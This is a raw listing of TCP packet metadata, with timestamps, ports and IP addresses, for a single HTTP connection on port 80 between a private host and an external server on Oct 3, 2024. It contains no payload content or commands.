Oct 3, 2024 09:20:34.968822002 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.968833923 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.968843937 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.968847990 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.968873024 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.968883991 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.969074965 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.969086885 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.969098091 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.969109058 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.969120026 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.969130993 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.969132900 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.969144106 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.969156981 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.969173908 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.969196081 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.969557047 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.969573021 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.969583988 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.969595909 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.969608068 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.969610929 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.969619036 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.969630957 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.969641924 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.969645023 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.969671965 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.969682932 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.969996929 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.970010996 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.970022917 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.970033884 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.970043898 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.970055103 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.970062971 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.970066071 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.970079899 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.970088959 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.970107079 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.970129967 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.970463991 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.970478058 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.970489979 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.970501900 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.970513105 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.970524073 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:34.970525980 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.970551968 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.970575094 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:34.998418093 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.049937010 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.049978018 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.049992085 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.050067902 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.050077915 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.050086021 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.050091982 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.050126076 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.050134897 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.050273895 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.050287008 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.050297022 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.050307989 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.050348043 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.050379992 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.050544977 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.050556898 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.050621033 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.050662041 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.050776958 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.050789118 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.050800085 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.050810099 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.050816059 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.050822973 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.050833941 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.050838947 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.050848961 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.050864935 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.050882101 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.051173925 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.051184893 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.051196098 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.051206112 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.051217079 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.051232100 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.051244020 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.051579952 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.051630020 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.051640034 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.051651955 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.051659107 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.051667929 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.051678896 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.051685095 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.051692009 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.051706076 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.051714897 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.051733971 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.052027941 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052046061 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052057028 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052067995 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052072048 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.052079916 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052090883 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052094936 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.052105904 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052119970 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.052154064 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.052669048 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052680969 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052690983 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052701950 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052714109 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052725077 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052730083 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.052736998 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052747965 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052752972 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.052759886 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052771091 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052773952 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.052783966 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052789927 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.052798033 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052809954 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052814960 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.052822113 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.052839041 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.052860022 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.053647995 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.053661108 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.053670883 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.053680897 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.053693056 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.053704023 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.053711891 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.053715944 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.053726912 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.053733110 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.053739071 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.053750992 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.053760052 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.053764105 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.053771019 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.053777933 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.053788900 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.053792000 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.053800106 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.053814888 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.053838015 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.054610014 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.054621935 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.054641008 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.054651976 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.054662943 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.054672003 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.054675102 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.054682970 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.054688931 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.054703951 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.054713011 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.054716110 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.054728985 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.054739952 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.054750919 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.054755926 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.054764032 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.054774046 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.054780960 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.054800987 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.054814100 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.055715084 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.055727959 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.055737972 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.055747986 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.055758953 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.055769920 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.055769920 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.055784941 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.055788040 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.055797100 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.055808067 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.055818081 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.055819035 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.055831909 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.055845976 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.055854082 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.055857897 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.055861950 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.055870056 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.055887938 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.055922031 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.056565046 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.056576967 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.056587934 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.056598902 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.056607962 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.056612015 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.056619883 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.056631088 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.056636095 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.056643009 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.056653976 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.056654930 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.056664944 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.056677103 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.056688070 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.056690931 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.056699038 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.056710005 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.056720972 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.056721926 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.056730032 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.056750059 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.057425022 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.057435989 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.057446957 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.057457924 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.057467937 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.057483912 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.057517052 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.102931023 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.137622118 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.137661934 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.137675047 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.137753963 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.137787104 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.137799025 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.137813091 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.137836933 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.137862921 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.138006926 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.138020992 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.138032913 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.138045073 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.138072014 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.138092041 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.138257027 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.138268948 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.138279915 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.138293028 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.138314962 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.138335943 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.138509989 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.138520002 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.138533115 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.138546944 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.138565063 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.138566017 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.138580084 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.138596058 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.138597965 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.138611078 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.138622999 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.138628960 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.138637066 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.138648033 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.138674974 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.139280081 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.139292002 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.139302969 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.139313936 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.139324903 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.139334917 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.139336109 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.139348984 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.139349937 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.139357090 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.139368057 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.139378071 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.139394999 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.139396906 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.139409065 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.139421940 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.139427900 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.139436007 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.139458895 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.139480114 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.140454054 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.140465021 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.140476942 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.140487909 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.140499115 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.140507936 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.140511036 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.140523911 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.140532017 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.140538931 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.140547991 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.140551090 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.140563011 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.140573978 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.140575886 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.140585899 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.140599012 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.140610933 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.140613079 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.140638113 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.140659094 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.141036987 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.141050100 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.141061068 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.141072989 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.141083002 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.141084909 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.141122103 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.141141891 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.141158104 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.141170025 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.141180992 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.141185999 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.141192913 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.141206026 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.141212940 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.141216993 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.141230106 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.141236067 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.141273022 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.142441988 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.142455101 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.142466068 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.142477989 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.142488956 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.142491102 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.142502069 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.142508984 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.142515898 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.142528057 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.142534971 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.142539024 CEST	80	49706	193.242.145.138	192.168.2.9
